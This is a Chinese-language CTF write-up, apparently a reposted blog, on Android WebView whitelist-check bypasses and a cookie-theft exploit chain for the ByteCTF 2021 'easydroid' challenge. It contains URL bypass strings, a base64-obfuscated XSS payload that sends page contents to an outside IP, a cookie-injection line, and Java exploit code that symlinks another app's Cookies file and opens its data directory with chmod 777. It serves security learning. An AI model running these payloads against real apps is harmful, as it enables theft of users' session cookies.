close
本文主要講解Android-WebView中的一個漏洞點,從介紹WebView到成功利用。通過復現ByteCtf2021中的一道漏洞題來對知識進行鞏固。

什麼是 WebView?
Android內置webkit內核的高性能瀏覽器,而WebView則是在這個基礎上進行封裝後的一個 控件,WebView直譯網頁視圖,我們可以簡單的看作一個可以嵌套到界面上的一個瀏覽器控件。也就是說,我們可以直接在app中拉起一個網頁,這樣方便快捷,同時也可以減少開發量,當然也會存在安全問題。
webview的使用方式
//方式一:加載一個網頁webView.loadUrl("http://www.baidu.com");//方式二:加載應用資源文件內的網頁webView.loadUrl("file:///data/local/tmp/xx.html");//方式三:加載一段代碼webView.loadData(String data,String mimeType, String encoding);
我們使用下面這段代碼來啟動一個網頁:
@Overrideprotected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); data = Uri.parse("http://www.baidu.com"); WebView webView = new WebView(getApplicationContext()); setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(data.toString());}記得添加網絡權限: <uses-permission android:name="android.permission.INTERNET"/>


WebView白名單繞過
要使用webview加載資源,那麼總會有一些要過濾的情況,如果校驗不完整,則會導致加載惡意的資源。
在這之前,我們先來看一下URL的格式和URi的一些接口。
URL的一般格式為:<scheme>://<user>:<password>@<host>:<port>/<path>:<params>?<query>#<frag>String uri = "https://www.baidu.com/Uri mUri = Uri.parse(uri);// 協議String scheme = mUri.getScheme();// 域名+端口號+路徑+參數String scheme_specific_part = mUri.getSchemeSpecificPart();// 用戶信息+域名+端口號String authority = mUri.getAuthority();// fragmentString fragment = mUri.getFragment();// 域名String host = mUri.getHost();// 端口號int port = mUri.getPort();// 路徑String path = mUri.getPath();// 參數String query = mUri.getQuery();
常見的校驗方式與繞過方式
一、if(!url.startsWith("http://")){ webView.loadUrl(url);}大小寫繞過:Http前面加空格繞過:http二、if(url.contains("baidu")){ webView.loadUrl(url);}#繞過:http://www.google.com#baidu?繞過:http://www.google.com?baidu三、if(Uri.parse(url).getAuthority().contains("baidu"){webView.loadUrl(url);}繞過:http://baidu@www.google.com四、if(Uri.parse(url).getHost().endsWith("baidu.com")){ webView.loadUrl(url);}if(Uri.parse(url).getHost().contains("baidu.com")) {webView.loadUrl(url);}申請域名繞過:http://xxxxxbaidu.com
前兩個很容易理解,簡單說一下第三個和第四個繞過方式。
第三個:在上面我們說了getAuthority獲取的是<user>:<password>@<host>:<port>這一部分,如果網站沒有user,password的校驗,則這一部分會被忽略,寫與不寫不影響網站訪問。所以我們將校驗的關鍵詞寫在這一部分就可以繞過了。
第四個:因為這一校驗方式中存在.com,所以不容易繞過,但是我們仍然可以申請一個新的域名,只要包含或者以baidu.com結尾就可以繞過了。
更多有趣的繞過可以參考:《一文徹底搞懂安卓WebView白名單校驗》。

通過XSS 竊取 Cookie
在app中加載exp.html:
Uri data = Uri.parse("http://192.168.43.164/exp.html");WebView webView = new WebView(getApplicationContext());setContentView(webView);webView.getSettings().setJavaScriptEnabled(true);webView.loadUrl(data.toString());
在Android中,使用WebView加載網站時,當在網站停留20~40秒事,網站的Cookie就會保存在/data/data/com.example.test/app_webview/Cookies文件下。
而下面這段代碼可以將整個exp.html的內容發送到指定的地址:
<img src="x" onerror="eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xOTIuMTY4LjQzLjE2NDo4MC8/Y29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOw=='))">base64解碼後為:new Image().src = "http://192.168.43.164:80/?cookie=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);

假如我們把這段代碼插入到Cookies文件中,並且讓這段xss執行,那麼就可以將Cookies文件中的所有數據都拿到。
由此得出兩個問題:
1. 如何將這段代碼插入到Cookies中?1. 這段代碼在Cookies文件中是不會執行的,如何讓這段xss執行?
我們先保留問題,繼續往下看,進入漏洞復現環節。

漏洞利用
我們使用ByteCtf中的easydroid題目案例進行講解。
MainActivity中的代碼:

可以得到信息:加載網站,對URL進行校驗,可以執行JavaScript。
shouldOverrideUrlLoading接口
該接口主要是給WebView提供時機,可以攔截URL做一些其他操作。
該接口的返回值是關鍵,True(攔截WebView加載Url,選擇瀏覽器打開),False(允許WebView直接加載Url)
在這裡是對URL進行攔截並解析,然後使用startActivity來啟動Intent。
TestActivity中的代碼:

獲取數據,使用webview加載。
代碼很簡短,我們整理思路,來理清攻擊鏈。
上面我們介紹了通過xss來竊取Cookies,並提出了兩個問題,現在我們就是要解決這兩個問題。1.如何將這段代碼插入到Cookies中?我們知道可以通過document.cookie = "xxxxxxx"來設置cookie,而這cookie的值會被存放到Cookies文件中,所以我們可以通過這樣的方式將我們的攻擊代碼插入到Cookies文件中。document.cookie = "x = '<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xOTIuMTY4LjQzLjE2NDo4MC8/Y29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOw=='))\">'"2.這段代碼在Cookies文件中是不會執行的,如何讓這段xss執行?JS代碼在html文件中會執行,所以我們要想辦法將Cookies中的內容存放到一個html文件中。這裡採用的是符號鏈接的方式,谷歌官方提出修複方法時已經給出了思路(https://support.google.com/faqs/answer/9084685),所以我們可以將Cookies文件與一個html文件進行符號鏈接。建立一個easydroid.html,它裡面有兩個重定向:一個是設置Cookie,一個是加載與Cookies文件符號鏈接後的那個html文件。在shouldOverrideUrlLoading中,重定向時會通過parseUri解析intent,這裡利用了Android-Intent重定向的知識,在之前的文章中已經進行了學習(https://www.freebuf.com/articles/web/325314.html)。toUri與parseUri正好相反,可以使用toUri來得到攻擊代碼。通過重定向進入到了TestActivity中,然後獲取數據,使用loadUrl加載。
理清思路後,我們來看一下攻擊代碼:
protectedvoidonCreate(BundlesavedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); symlink(); Intentintent=newIntent(); intent.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity"); intent.setData(Uri.parse("http://toutiao.com@192.168.43.164/easydroid.html")); startActivity(intent);}privateStringsymlink() { try{ Stringroot=getApplicationInfo().dataDir; Stringsymlink=root+"/symlink.html"; Stringcookies=getPackageManager().getApplicationInfo("com.bytectf.easydroid",0).dataDir+"/app_webview/Cookies"; Runtime.getRuntime().exec("rm "+symlink).waitFor(); Runtime.getRuntime().exec("ln -s "+cookies+" "+symlink).waitFor(); Runtime.getRuntime().exec("chmod -R 777 "+root).waitFor(); returnsymlink; }catch(Throwableth) { thrownewRuntimeException(th); }}
整個漏洞利用流程:

首先創建了符號鏈接,然後過URL校驗,訪問我們的服務器http://192.168.43.164/easydroid.html:

通過Intent重定向,首先加載exp.html來設置cookie,然後再加載symlink.html,將所要Cookies內容返回給我們的服務器。最終達到竊取Cookies的目的。注意,這裡要保證setAllowFileAccess(true),API 29以下默認為true,否則會利用失敗。

參考

https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhghttps://www.cnblogs.com/rebeyond/p/10916076.htmlhttps://support.google.com/faqs/answer/9084685https://blog.csdn.net/zxc024000/article/details/90298159https://www.runoob.com/w3cnote/android-tutorial-webview.html

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()